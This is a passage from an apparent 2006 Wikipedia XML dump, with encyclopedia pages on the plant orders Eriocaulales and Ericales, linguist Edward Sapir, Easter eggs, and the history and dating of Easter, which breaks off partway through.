[[jv:Uni Eropah]]
[[ka:ევროპის კავშირი]]
[[csb:Eùropejskô Ùnijô]]
[[kw:Unyans Europek]]
[[ku:Yekîtiya Ewropayê]]
[[la:Unio Europaea]]
[[lv:Eiropas Savienība]]
[[lt:Europos Sąjunga]]
[[lb:Europäesch Unioun]]
[[li:Europese Unie]]
[[hu:Európai Unió]]
[[mk:Европска Унија]]
[[mt:Unjoni Ewropea]]
[[ms:Kesatuan Eropah]]
[[nl:Europese Unie]]
[[nds:Europääsche Union]]
[[ja:欧州連合]]
[[no:Den europeiske union]]
[[nn:Den europeiske unionen]]
[[pl:Unia Europejska]]
[[pt:União Europeia]]
[[ro:Uniunea Europeană]]
[[ru:Европейский Союз]]
[[sco:European Union]]
[[sh:Evropska unija]]
[[scn:Unioni Europea]]
[[simple:European Union]]
[[sk:Európska únia]]
[[sl:Evropska unija]]
[[sr:Европска унија]]
[[sq:Bashkimi Europian]]
[[fi:Euroopan unioni]]
[[sv:Europeiska unionen]]
[[tl:Kaisahang Europeo]]
[[ta:ஐரோப்பிய ஒன்றியம்]]
[[tt:Awrupı Berlege]]
[[th:สหภาพยุโรป]]
[[vi:Liên minh châu Âu]]
[[tr:Avrupa Birliği]]
[[uk:Європейський Союз]]
[[ur:اتحدِ یورپ]]
[[zh:欧洲联盟]]
[[fiu-vro:Õuruupa Liit]]
[[vec:Union Eoropea]]
{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>Eriocaulales</title>
    <id>9319</id>
    <revision>
      <id>37290007</id>
      <timestamp>2006-01-30T01:13:40Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Eriocaulales
| image = Eriocaulon_decangulare_(1832).jpg
| image_width = 200px
| image_caption = ''[[Eriocaulon decangulare]]'' 
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[monocotyledon|Liliopsida]]
| ordo = '''Eriocaulales'''
| ordo_authority = Nakai
}}

The '''Eriocaulales''' are an order of [[monocot]]s, including the tiny [[pipewort]] family, [[Eriocaulaceae]]. The family [[Xyridaceae]], which under the [[Cronquist system]] was placed in the [[Commelinales]], is sometimes included here as well, from which the whole order is sometimes called the ''Xyridales''. Some authors have also placed the [[Restionaceae]] here as well.

The Eriocaulales, synonym of [[Xyridales]], are placed by the [[Angiosperm Phylogeny Group|APG II]] in the order [[Poales]].

{{monocot-stub}}
[[Category:Liliopsida]]

[[fr:Eriocaulales]]</text>
    </revision>
  </page>
  <page>
    <title>Ericales</title>
    <id>9320</id>
    <revision>
      <id>37289984</id>
      <timestamp>2006-01-30T01:13:28Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Ericales
| regnum = [[Plantae]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = '''Ericales''' &lt;small&gt;Dumort. ([[1829]])&lt;/small&gt;
| subdivision_ranks = Families
| subdivision = 
See text.
}}

The '''Ericales''' are a large and diverse order of [[dicotyledon]]s. The order is represented with many various life forms, starting from [[tree]]s and [[shrub|bush]]es, to [[liana]]s and [[herbaceous]] plants. Together with ordinary [[autophyte|autophytic]] plants, the Ericales include [[chlorophyll]]-deficient [[mycorrhiza|mycotrophic]] plants (e. g. ''Sarcodes sanguinea'') and [[carnivorous plant]]s (e. g. genus ''[[Sarracenia]]'').

Many species have five petals, often grown together.

[[Mycorrhiza]] is an interesting property, frequently associated with the Ericales. Indeed, the symbiosis with root fungi is quite common among the order representatives, and there are even three kinds of it which can be found exclusively among Ericales (namely, ericoid, arbutoid and monotropoid mycorrhiza). In additional, some families among the order are notable for their exceptional ability to accumulate [[aluminium]] (Jansen et al., 2004).

Ericales are a cosmopolitic order. Areas of distribution of families vary largely - while some are restricted to tropics, others exist mainly in arctic or temperate regions. The entire order contains over 8000 species, of which the Ericaceae account for 2000-4000 species (by various estimates).

== Economical importance ==
Without doubt, the most important plant in the order is the [[tea]] (''Camellia sinensis'') from the Theaceae family. The order also includes some edible fruits, namely [[kiwi fruit]] (''Actinidia deliciosa''), [[persimmon]] (genus ''Diospyros'') and some tropical fruits. Many Ericales species are cultivated for their showy flowers.

== Classification ==
The following families are typical of newer classifications:

* Family [[Actinidiaceae]] ([[kiwifruit]] family)
* Family [[Balsaminaceae]] ([[balsam]] family)
* Family [[Clethraceae]] ([[clethra]] family)
* Family [[Cyrillaceae]] ([[cyrilla]] family)
* Family [[Diapensiaceae]]
* Family [[Ebenaceae]] ([[ebony]] family)
* Family [[Ericaceae]] ([[Erica|heath]] family)
* Family [[Fouquieria]]ceae ([[fouquieria]] family)
* Family [[Lecythidaceae]] ([[brazil nut]] family)
* Family [[Maesaceae]]
* Family [[Marcgraviaceae]]
* Family [[Mitrastemonaceae]]
* Family [[Myrsinaceae]]
* Family [[Pellicieraceae]]
* Family [[Pentaphylacaceae]]
* Family [[Polemoniaceae]] ([[phlox]] family)
* Family [[Primulaceae]] ([[Primula|primrose]] family)
* Family [[Roridula]]ceae
* Family [[Sapotaceae]] ([[sapodilla]] family)
* Family [[Sarraceniaceae]] (American [[pitcher plant]] family)
* Family [[Sladeniaceae]]
* Family [[Styracaceae]]
* Family [[Symplocaceae]]
* Family [[Ternstroemiaceae]]
* Family [[Tetrameristaceae]]
* Family [[Theaceae]] ([[tea]] family)
* Family [[Theophrastaceae]]

These make up a basal group of [[asterid]]s. Under the older [[Cronquist system]], the Ericales included a smaller group of plants, which were placed among the [[Dileniidae]]:

* Family [[Ericaceae]]
* Family [[Cyrillaceae]]
* Family [[Clethraceae]]
* Family [[Grubbiaceae]]
* Family [[Empetraceae]]
* Family [[Epacridaceae]]
* Family [[Pyrolaceae]]
* Family [[Monotropaceae]]

== References ==
* [[Barthélemy Charles Joseph du Mortier|B. C. J. du Mortier]] (1829). ''Analyse des Familles de Plantes : avec l'indication des principaux genres qui s'y rattachent'', 28. Imprimerie de J. Casterman, Tournay. 
* S. Jansen, T. Watanabe, P. Caris, K. Geuten, F. Lens, N. Pyck, E. Smets (2004). The Distribution and Phylogeny of Aluminium Accumulating Plants in the Ericales. ''Plant Biology (Stuttgart)'' '''6''', 498-505. Thieme, Stuttgart. (Available online: [http://dx.doi.org/10.1055/s-2004-820980 DOI] | [http://www.thieme-connect.com/ejournals/abstract/plantbiology/doi/10.1055/s-2004-820980 Abstract])
* W. S. Judd, C. S. Campbell, E. A. Kellogg, P. F. Stevens, M. J. Donoghue (2002). ''Plant Systematics: A Phylogenetic Approach, 2nd edition.'' pp. 425-436 (Ericales). Sinauer Associates,  Sunderland, Massachusetts. ISBN 0878934030.
* E. Smets, N. Pyck (Feb 2003). Ericales (Rhododendron). In: ''Nature Encyclopedia of Life Sciences''. Nature Publishing Group, London. (Available online: [http://www.els.net ELS Site])

[[Category:Ericales]]

[[da:Lyng-ordenen]]
[[de:Heidekrautartige]]
[[es:Ericales]]
[[fr:Ericales]]
[[ko:진달래목]]
[[he:אברשאים]]
[[la:Ericales]]
[[nl:Ericales]]
[[no:Ericales]]
[[pl:Wrzosowce]]
[[ru:Верескоцветные]]
[[fi:Ericales]]
[[sv:Ericales]]</text>
    </revision>
  </page>
  <page>
    <title>Edward Sapir</title>
    <id>9321</id>
    <revision>
      <id>40866932</id>
      <timestamp>2006-02-23T15:07:38Z</timestamp>
      <contributor>
        <ip>61.246.162.106</ip>
      </contributor>
      <comment>/* Bibliography */</comment>
      <text xml:space="preserve">[[Image:Esapir.JPG|thumb|right|Edward Sapir. Photograph by Florence M. Hendershot, Chicago, Ill.]]
'''Edward Sapir''' ([[IPA chart for English|pronounced]] {{IPA|/sʌˈpiɹ/}}), ([[January 26]] [[1884]] &amp;ndash; [[February 4]] [[1939]]) was an [[United States|American]] [[anthropologist]]-[[linguist]], a leader in American [[structuralism|structural linguistics]], and one of the creators of what is now called the [[Sapir-Whorf hypothesis]]. He is arguably the most influential figure in American linguistics, influencing even [[Noam Chomsky]].

==Life and work==
Sapir was born in Lauenburg, [[Germany]], now [[Lębork]] in [[Poland]], in 1884.  In 1904 he graduated from [[Columbia University]] with a degree in Germanics, but his linguistic interests proved to be much broader.  In the next two years he took up projects studying the [[Chinookan|Wishram]] and [[Takelma language|Takelma]] languages in the field.  While at Columbia he met his mentor, anthropologist [[Franz Boas]], who was probably the person who provided the most initial impetus for Sapir's study of American languages. He arranged Sapir's employment in 1907-08 researching the nearly extinct [[Yahi|Yana]] language of northern California, to which he returned briefly in 1911 to work with [[Ishi]], the monolingual last surviving speaker of [[Yahi]] (southern Yana).

In the years 1910-1925 he built and directed the Anthropological Division in the Geological Survey of Canada, in Ottawa. Among the many accomplishments of this very productive period are a substantial series of publications on Nootka and other languages, and his seminal book ''Language'' (1921), still important today and eminently readable. As he was leaving for a teaching position at the [[University of Chicago]], one of very few research universities then in the United States, he enabled [[Leonard Bloomfield]] to obtain support from Ottawa to do fieldwork on Cree, essential to his project of historical reconstruction in Algonkian. Bloomfield moved to Chicago in 1927 to teach Germanic languages. It appears (Darnell 268-272) that they were congenial but not close. From 1931 to his death Sapir was at [[Yale University]], where he became the head of the Department of Anthropology. 

He was one of the first who explored the relations between language studies and anthropology.  His students include [[Li Fanggui|Fang-kuei Li]], [[Benjamin Whorf]], [[Mary Haas]], and [[Harry Hoijer]], but it was one not formally his student who he came to regard as his intellectual heir, a young [[Semitic Languages|Semiticist]] named [[Zellig Harris]] (who for a time dated his daughter).

Some suggestions of Sapir about the influence of language on the ways in which people think were adopted and developed by Whorf, initially while he was substitute teaching in the classroom during Sapir's illness. It was felt that stimulating and challenging ideas would attract students to this fledgling field. During the 1940s and later this became known as the [[Sapir-Whorf Hypothesis]]. Some support may be found in late work of Harris. 

Sapir died of heart problems in 1939, at age 55.

His special focus among American languages was in the [[Athabaskan]] languages.  Among the languages and cultures studied by Sapir are [[Chinookan|Wishram Chinook]], [[Navajo language|Navajo]], [[Nootka]], [[Paiute]], [[Takelma language|Takelma]], and [[Yahi|Yana]].  Although noted for his work on American linguistics, he was also prolific in linguistics in general, as depicted by his book ''Language'', which provides everything from a grammar-typological classification of languages (with examples ranging from [[Chinese language|Chinese]] to [[Nuu-chah-nulth language|Nootka]]) to speculation on the phenomenon on language drift and the arbitrariness of associations between language, race, and culture.  He was also at least a minor participant in the [[international auxiliary language]] movement; in his paper [http://www.geocities.com/Athens/Forum/5037/sapir.html ''The Function of an International Auxiliary Language''], Sapir argued for the benefits of a regular grammar and advocated a critical focus on the fundamentals of language unbiased by the idiosyncracies of national languages in the choice of an international auxiliary language.

==Books==
*''Wishram Texts'' (1909)
*[http://www.gutenberg.org/etext/12629 ''Language: An introduction to the study of speech''] (1921) ISBN 0-15-648233-9 ([http://www.bartleby.com/186/ another link])
*''Nootka Texts'' (1939)

==Essays and articles==
*[http://www.geocities.com/Athens/Forum/5037/sapir.html ''The Function of an International Auxiliary Language''] (First published in ''Romanic Review'', July 1925. Also published in H. N. Shenton, E. Sapir and [[Otto Jespersen|O. Jespersen]], ''International Communication: A Symposium on the Language Problem'', London 1931, pp. 65-94.)
*''The problem of noun incorporation in American languages''. Am. Anthropol. 13:250-82. (1911)
*[http://spartan.ac.brocku.ca/~lward/Sapir/Sapir_1916.html ''Time Perspective in Aboriginal American Culture: A Study in Method'']. Canada Department of Mines, Geological Survey, Memoir 90. Anthropological Series, No. 13. (1916)

==Bibliography==
*''Edward Sapir: Appraisals of His Life and Work''. Ed. Konrad Koerner. Philadelphia: John Benjamins, 1984.  A collection of obituaries, bibliographic sketches, and critiques (mostly positive) of Sapir's work by his colleagues, students, and others affected by his work.
*''The Collected Works of Edward Sapir''. Ed. William Bright. Berlin: Mouton de Gruyter, 1990.  Volume IV presents more of his anthropological work, and makes reference to his work with Fang-Kuei Li.  Volumes V and VI contain his work on American Indian languages.
*''Edward Sapir: Linguist, Anthropologist, Humanist.'' Regna Darnell. Berkeley and Los Angeles: University of California Press, 1990.  Darnell's book is the best source on Sapir's life and his work as an anthropologist.
*''Language Diversity and Thought: A Reformulation of the Linguistic Relativity Hypothesis'' (Studies in the Social and Cultural Foundations of Language, No. 12). Cambridge: Cambridge University Press, 1992. The most comprehensive overview of research into linguistic relativity.

==External links==
{{wikiquote}}
*[http://www.nap.edu/readingroom/books/biomems/esapir.html National Academy of Sciences biography]
*http://www.bartleby.com/people/Sapir-Ed.html
*http://spartan.ac.brocku.ca/~lward/Sapir/Documents.html
*http://www.yale.edu/linguist/Sapir.html
*http://www.mnsu.edu/emuseum/information/biography/pqrst/sapir_edward.html
* {{gutenberg author| id=Edward+Sapir | name=Edward Sapir}}

[[Category:1884 births|Sapir, Edward]]
[[Category:1939 deaths|Sapir, Edward]]
[[Category:American anthropologists|Sapir, Edward]]
[[Category:American linguists|Sapir, Edward]]
[[Category:Columbia alumni|Sapir, Edward]]

[[be:Эдуард Сэпір]]
[[bg:Едуард Сапир]]
[[ca:Edward Sapir]]
[[da:Edward Sapir]]
[[de:Edward Sapir]]
[[es:Edward Sapir]]
[[eo:Edward SAPIR]]
[[ja:エドワード・サピア]]
[[lb:Edward Sapir]]
[[mt:Edward Sapir]]
[[pl:Edward Sapir]]
[[pt:Edward Sapir]]
[[ru:Сепир, Эдуард]]
[[sk:Edward Sapir]]
[[zh:萨丕尔]]</text>
    </revision>
  </page>
  <page>
    <title>English</title>
    <id>9322</id>
    <revision>
      <id>41860007</id>
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        <username>Kuru</username>
        <id>764407</id>
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      <minor />
      <comment>finished vandal cleanup</comment>
      <text xml:space="preserve">{{wiktionarypar2|English|english}}

'''English''' can refer to:

*The [[English language]]
*The [[English people]]
*Anything from [[England]]
*A technique in [[Billiards#Glossary_of_pool_and_billiards_terms|billiards]] and related games

It is also the name given to:

*[[English, Indiana]] a city in the United States
*[[English studies]], an academic discipline
*[[English programming language]], derived from SQL
*''[[Johnny English]]'', a comic movie starring Rowan Atkinson
*[[English (font)]], a typeface
*''[[The English]]'', a book written by Jeremy Paxman

{{disambig}}

[[ang:Englisc]]
[[cy:Annales Cambriae]]
[[da:Engelsk (flertydig)]]
[[de:Englisch]]
[[it:Inglese]]
[[simple:English]]
[[tl:Ingles]]
[[th:อังกฤษ]]</text>
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  <page>
    <title>Easter Sunday</title>
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      <text xml:space="preserve">#REDIRECT [[Easter]]
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  <page>
    <title>Easter egg</title>
    <id>9324</id>
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      <id>41950756</id>
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      <contributor>
        <username>Astrokey44</username>
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      <comment>add picture from commons</comment>
      <text xml:space="preserve">:''For the hidden features included in computer programs, DVDs, books, CDs, etc., see [[Easter egg (virtual)]]. ''

'''Easter eggs''' are specially decorated [[egg (food)|egg]]s given out to celebrate the [[Easter]] holiday. The oldest [[tradition]] is to use dyed and painted [[chicken]] eggs, but a modern custom is to substitute eggs made from [[chocolate]], or plastic eggs filled with [[candy]] such as [[jellybean]]s. 

[[Image:Eggs.jpg|thumb|210px|Ukrainian Easter eggs, or ''[[pysanky]]''.]]
[[Image:Easter-Eggs-1.jpg|thumb|Chocolate Easter eggs]]

Candy Easter eggs can be any form of [[confectionery]] such as hollow [[chocolate]] eggs wrapped in brightly-colored [[aluminium foil|foil]]. Some are delicately constructed of spun [[sugar]] and [[pastry]] [[decoration]] techniques. The ubiquitous jelly egg or jellybean is made from sugar-coated [[pectin]] candy.  These are often hidden, supposedly by the [[Easter Bunny]], for children to find on Easter morning.


Decorated eggs are much older than Easter, and both eggs and [[rabbit]]s are age-old [[fertility]] [[symbol]]s.  The [[Passover]]  [[Seder]] service uses a hard-cooked egg flavored with salt water as a symbol both of new life and the Temple service in [[Jerusalem]]. The Jewish tradition may have come from earlier Roman [[Spring (season)|Spring]] feasts.

Easter egg origin stories abound &amp;mdash; one has an [[emperor]] claiming that the [[Resurrection of Jesus |Resurrection]] was as likely as eggs turning red (see [[Mary Magdalene]]); more prosaically the Easter egg tradition may have celebrated the end of the privations of [[Lent]].  In the West, eggs were seen as &quot;meat&quot;, which would have been forbidden during [[Lent]].  Likewise, in [[Eastern Christianity]], both meat and dairy were prohibited during the fast, and eggs were seen as &quot;dairy&quot; (a foodstuff that could be taken from an animal without shedding its blood).  One would have been forced to hard boil the [[Boiled eggs|eggs]] that the chickens produced so as not to waste food, and for this reason the [[Spain|Spanish]] dish [[hornazo]] (traditionally eaten on and around Easter) contains hard-boiled eggs as a primary ingredient.

[[Image:Sorbische_Ostereier.jpg|thumb|left|210px|[[sorbs|Sorbian]] Easter eggs]]
Easter eggs are a widely popular symbol of new life in Poland and other Slavic countries' [[folklore|folk]] traditions. A [[batik]]-like decorating process known as [[pisanka]] produces intricate, brilliantly-colored eggs.  The celebrated [[Fabergé egg|Fabergé]] workshops created exquisite jewelled Easter eggs for the Russian Imperial Court.  A 27-foot (9 m) sculpture of a pisanka stands in Vegreville, Alberta.

There are many other decoration techniques and numerous traditions of giving them as a token of friendship, love or good wishes. A tradition exists in some parts of Britain of rolling painted eggs down steep [[hill]]s on Easter Sunday.  In the U.S., such an [[Easter egg roll]] (unrelated to an [[eggroll]]) is often done on flat ground, pushed along with a [[spoon]].  The most well-known egg roll is done at the [[White House]].  An [[Easter egg hunt]] is a common festive activity, where eggs are hidden outdoors (or indoors if in bad weather) for children to run around and find.  This may also be a [[contest]] to see who can collect the most eggs.

When boiling hard-cooked eggs for Easter, a nice tan colour can be achieved by boiling the eggs with [[onion]] skin.

[[Deep frying|Deep-fried]] chocolate Easter eggs are sold around Easter time in [[Scotland|Scottish]] [[fish and chips]] shops. The idea was invented in a northeastern Scottish takeaway as a sequel to the extremely popular deep-fried [[Mars Bar]].

==See also==

* [[egg decorating]]

==External links==
*[http://www.vegreville.com/tp2.html The Vegreville Easter Egg]

[[Category: Easter traditions]]
[[Category:Egg]]

[[da:Påskeæg]]
[[de:Osterei]]
[[fr:Œuf de Pâques]]
[[io:Paskala ovo]]
[[nl:Paasei]]
[[nn:Påskeegg]]
[[ru:Пасхальное яйцо]]
[[sl:Pirh]]
[[fi:Pääsiäismuna]]
[[sv:Påskägg]]
[[uk:Писанка]]
[[zh:复活节彩蛋]]</text>
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  <page>
    <title>Easter</title>
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      <comment>Reverted edits by [[Special:Contributions/82.110.216.127|82.110.216.127]] ([[User talk:82.110.216.127|talk]]) to last version by Wayward</comment>
      <text xml:space="preserve">{{Infobox Holiday |
|holiday_name=Easter
|image=Russian Resurrection icon.jpg
|caption=[[16th century]] [[Russian Orthodox Church|Russian Orthodox]] icon of the Resurrection of [[Jesus]] [[Christ]].
|observedby=most [[Christians]], although many non-Christians observe secular practices, especially in Australia, Canada, UK and the US  
|color1=white
|color2=white
|color3=white
|date=the first Sunday after the first full moon of spring
|date2006=[[April 16]] ([[Western Christianity|Western]])&lt;br /&gt;[[April 23]] ([[Eastern Christianity|Eastern]])
|date2007=[[April 8]]
|date2008=[[March 23]] ([[Western Christianity|Western]])&lt;br /&gt;[[April 27]] ([[Eastern Christianity|Eastern]])
|date2009=[[April 12]] ([[Western Christianity|Western]])&lt;br /&gt;[[April 19]] ([[Eastern Christianity|Eastern]])
|date2010=[[April 4]]
|observances=[[Prayer]], Whipping ([[Czech Republic]])
|celebrations=Religious (church) services, [[Easter egg]] hunts, gifts ([[United States of America|USA]])
|type=Religious
|significance=Celebrates the death and resurrection of [[Jesus]] as the basis for the salvation of humankind
|relatedto=[[Passover]], a [[Judaism|Jewish]] holiday of similar origins, [[Christmas]], which honors the birth of Jesus, [[Septuagesima]], [[Quinquagesima]], [[Shrove Tuesday]], [[Ash Wednesday]], [[Lent]], [[Palm Sunday]], [[Good Friday]], and [[Holy Saturday]] which lead up to Easter, and [[Ascension]], [[Pentecost]], [[Whit Monday]], [[Trinity Sunday]], and [[Corpus Christi (feast)|Corpus Christi]] which follow it
}}

'''Easter''' is the most important religious [[holiday]] of the [[Christianity|Christian]] [[liturgical year]], observed in March, April, or May to celebrate the [[resurrection]] of [[Jesus]], which Christians believe occurred after his death by [[crucifixion]] in AD 27-33 (see [[Good Friday]]). ''Easter'' can also refer to the season of the church year, lasting for fifty days, which follows this holiday and ends at [[Pentecost]]. {{see|Eastertide}}

==Nature and development==
In most languages of Christian societies, other than [[English language|English]], [[German language|German]] and some [[Slavic languages|Slavic languages]], the holiday's name is derived from ''Pesach'', the [[Hebrew language|Hebrew]] name of [[Passover]], a Jewish holiday to which the Christian Easter is intimately linked. Easter depends on Passover not only for much of its symbolic meaning but also for its position in the calendar; the [[Last Supper]] shared by Jesus and his [[disciples]] before his crucifixion is generally thought of as a Passover [[seder]], based on the chronology in the [[Synoptic Gospels]]. The [[Gospel of John]] has a different chronology which has Christ's death at the time of the slaughter of the Passover lambs, which may have been for theological reasons but which is regarded by some scholars as more historically likely given the surrounding events. This would put the Last Supper slightly before Passover, on 14 [[Nisan]] of the [[Hebrew calendar]].  According to the [[Catholic Encyclopedia]], &quot;In fact, the Jewish feast was taken over into the Christian Easter celebration.&quot;

The English and German names, &quot;Easter&quot; and &quot;Ostern&quot;, are not etymologically derived from ''Pesach'' and are instead related to ancient names for the month of April, [[Eostremonat]] and Ostaramanoth respectively. According to the 8th century [[Christian]] [[monk]] and [[historian]] [[Bede]], this month was dedicated to the [[Paganism|pagan]] [[fertility goddess]] [[Eostre]]. The [[Easter Bunny]] is often identified as a remnant of this fertility festival, although there is no evidence of any link.
{{christianity}}
===Easter in the early Church===
The observance of any special holiday throughout the Christian year is believed by some to be an innovation postdating the early church. The ecclesiastical historian [[Socrates Scholasticus]] (b. 380) attributes the observance of Easter by the church to the perpetuation of local custom, &quot;just as many other customs have been established&quot;, stating that neither [[Jesus]] nor his apostles enjoined the keeping of this or any other festival. However, when  [http://www.ccel.org/ccel/schaff/npnf202.ii.viii.xxiii.html read in context,]this is not a rejection or denigration of the celebration—which, given its currency in Scholasticus' time would be surprising—but is merely part of a defense of the diverse methods for computing its date.  Indeed, although he describes the details of the Easter celebration as deriving from local custom, he insists the feast itself is universally observed.

Perhaps the earliest extant primary source referencing Easter is a 2nd century [http://www.preteristarchive.com/Books/0150_melito_pascha.html Paschal homily] by [[Melito of Sardis]], which characterizes the celebration as a well-established one.

According to a number of ecclesiastical historians, primarily [[Eusebius of Caesarea|Eusebius]], bishop [[Polycarp]] of Smyrna, by tradition a disciple of [[John the Evangelist]], disputed the computation of the date with bishop [[Pope Anicetus|Anicetus]] of Rome in what is now known as the [[Quartodecimanism]] controversy.  Anicetus became bishop of the church of Rome in the mid second century (c.&amp;nbsp;A.D.&amp;nbsp;155).  Shortly thereafter, Polycarp visited Rome and among the topics discussed was when the pre-Easter fast should end. Those in [[Anatolia|Asia]] held strictly to the computation from the [[Hebrew calendar]] and ended the fast on the 14th day of [[Nisan]], while the Roman custom was to continue the fast until the Sunday following.  Neither Polycarp nor Anicetus was able to convert the other to his position&amp;mdash;according to a rather confused account by [[Sozomen]], both could claim Apostolic authority for their traditions[http://www.ccel.org/ccel/schaff/npnf202.iii.xii.xix.html]&amp;mdash;but neither did they consider the matter of sufficient importance to justify a [[schism]], so they parted in peace leaving the question unsettled.  However, a generation later bishop [[Pope Victor I|Victor]] of Rome excommunicated bishop Polycrates of [[Ephesus]] and the rest of the Asian bishops for their adherence to 14 Nisan.  The excommunication was rescinded and the two sides reconciled upon the intervention of bishop [[Irenaeus]] of Lyons, who reminded Victor of the tolerant precedent that had been established earlier.  In the end, a uniform method of computing the date of Easter was not formally settled until the [[First Council of Nicaea]] in 325 (''see below''), although by that time the Roman timing for the observance had spread to most churches.

A number of early bishops rejected the practice of celebrating Easter, or more accurately Passover, on the first Sunday after Nisan 14. This conflict between Easter and Passover is often referred to as the &quot;Paschal Controversy&quot;. The bishops dissenting from the newer practice of Easter favored adhering to celebrating the festival on Nisan 14 in accord with the Biblical Passover and the tradition passed on to them by the Apostles. The problem with Nisan 14 in the minds of some in the Western Church (who wished to further associate Sunday and Easter) is that it was calcuated by the moon and could fall on any day of the week.

An early example of this tension is found written by Theophilus of Caesarea (c. 180 A.D.; 8.774 &quot;Ante-Nicene Church Fathers&quot;) when he stated, &quot;Endeavor also to send abroad copies of our epistle among all the churches, so that those who easily deceive their own souls may not be able to lay the blame on us. We would have you know, too, that in Alexandria also they observe the festival on the same day as ourselves. For the Paschal letters are sent from us to them, and from them to us&amp;mdash;so that we observe the holy day in unison and together.&quot;

Polycarp, a disciple of John, likewise adhered to a Nisan 14 observance. Irenaeus, who observed the &quot;first Sunday&quot; rule notes of Polycarp (one of the Bishops of Asia Minor), &quot;For Anicetus could not persuade Polycarp to forgo the observance [of his Nisan 14 practice] inasmuch as these things had been always observed by John the disciple of the Lord, and by other apostles with whom he had been conversant.&quot; (c. 180 A.D.; 1.569 &quot;Ante-Nicene Church Fathers&quot;). Irenaeus notes that this was not only Polycarp's practice, but that this was the practice of John the disple and the other apostles that Polycarp knew.

Polycrates (c. 190 A.D.) emphatically notes this is the tradition passed down to him, that Passover and Unleavened Bread were kept on Nisan 14 in accord with the Biblical Passover and not the later Easter tradition: &quot;As for us, then, we scrupulously observe the exact day, neither adding nor taking away. For in Asia great luminaries have gone to their rest who will rise again on the day of the coming of the Lord.... These all kept Easter on the fourteenth day, in accordance with the Gospel.... Seven of my relatives were bishops, and I am the eighth, and my relatives always observed the day when the people put away the leaven&quot; (8.773, 8.744 &quot;Ante-Nicene Church Fathers&quot;).

Early within the Church it was admitted by both sides of the debate that the Lord's Supper was the practice of the disciples and the tradition passed down.  The Last Supper is believed by some to be a Passover Seder (''see: [[The Last Supper]]'').  The Nisan 14 practice, which was strong among the churches of Asia Minor, becomes less common as the desire for Church unity on the question came to favor the majority practice.  By the 3rd century the Church, which had become Gentile dominated and wishing to further distinguish itself from Jewish practices, began a tone of harsh rhetoric against Nisan 14/Passover (e.g. Anatolius, c. 270 A.D.; 6.148,6.149 &quot;Ante-Nicene Church Fathers&quot;).

A tradition said to have come out of the [[First Council of Nicaea]] states that the Christian Passover (i.e., Easter) was to be celebrated &quot;not with the Jews,&quot; that the Jews' calculations (which often varied among themselves, as they were using multiple methods) were not to be followed in determining the date of Easter.  This statement was not so much anti-Jewish as simply a recognition that the Passover had now been Christianized, that the Church did not owe its continued existence and practices to the Judaism which Christ had fulfilled and superseded.

The Christianization of the Passover, based on the tradition passed down by the Apostles, has resulted in a number of anti-Easter movements though history. [[Jehovah's Witnesses]], for example, who do not celebrate Easter, adhere to a celebration of the Lord's Supper on Nisan 14 with the passing of wine and unleavened bread.

==Date of Easter==
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;6&quot; style=&quot;float:right; margin-left:15px;&quot;
|-
|+style=&quot;padding-right: 1.5em;&quot;align=center|'''Dates for Easter Sunday, 2000-2020'''
|-
! '''Year''' !! '''[[Western Christianity|Western]]''' !! '''[[Eastern Christianity|Eastern]]'''
|-
! '''2000''' || [[April 23]] || [[April 30]]
|-
! '''2001''' ||colspan=2 align=center| [[April 15]]
|-
! '''2002''' || [[March 31]] || [[May 5]]
|-
! '''2003''' || [[April 20]] || [[April 27]]
|-
! '''2004''' ||colspan=2 align=center| [[April 11]]
|-
! '''2005''' || [[March 27]] || [[May 1]]
|-
! '''2006''' || [[April 16]] || [[April 23]]
|-
! '''2007''' ||colspan=2 align=center| [[April 8]]
|-
! '''2008''' || [[March 23]] || [[April 27]]
|-
! '''2009''' || [[April 12]] || [[April 19]]
|-
! '''2010''' ||colspan=2 align=center| [[April 4]]
|-
! '''2011''' ||colspan=2 align=center| [[April 24]]
|-
! '''2012''' || [[April 8]] || [[April 15]]
|-
! '''2013''' || [[March 31]] || [[May 5]]
|-
! '''2014''' ||colspan=2 align=center| [[April 20]]
|-
! '''2015''' || [[April 5]] || [[April 12]]
|-
! '''2016''' || [[March 27]] || [[May 1]]
|-
! '''2017''' ||colspan=2 align=center| [[April 16]]
|-
! '''2018''' || [[April 1]] || [[April 8]]
|-
! '''2019''' || [[April 21]] || [[April 28]]
|-
! '''2020''' || [[April 12]] || [[April 19]]
|}
In Western Christianity, Easter always falls on a Sunday from [[March 22]] to [[April 25]] inclusive. The following day, [[Easter Monday]], is a [[legal holiday]] in many countries with predominantly Christian traditions.

Easter and the holidays that are related to it are ''[[moveable feast]]s'', in that they do not fall on a fixed date in the [[Gregorian calendar|Gregorian]] or [[Julian Calendar|Julian]] calendars (which follow the motion of the sun and the seasons). Instead, they are based on a [[lunar calendar]] similar&amp;mdash;but not identical&amp;mdash;to the [[Hebrew Calendar]]. The precise date of Easter has often been a matter for contention.

At the [[First Council of Nicaea#Passover .28Easter.29 Controversy|First Council of Nicaea]] in 325 it was decided that Easter would be celebrated on the same Sunday throughout the Church, but it is probable that no method was specified by the Council. (No contemporary account of the Council's decisions has survived). Instead, the matter seems to have been referred to the church of [[Alexandria]], which city had the best reputation for scholarship at the time. The Catholic Epiphanius wrote in the mid-4th Century, &quot;...the emperor...convened a council of 318 bishops...in the city of Nicea...They passed certain ecclesiastical canons at the council besides, and at the same time decreed in regard to the Passover that there must be one unanimous concord on the celebration of God's holy and supremely excellent day. For it was variously observed by people...&quot;(Epiphanius. The Panarion of Epiphanius of Salamis, Books II and III (Sects 47-80), De Fide). Section VI, Verses 1,1 and 1,3. Translated by Frank Williams. EJ Brill, New York, 1994, pp.471-472).

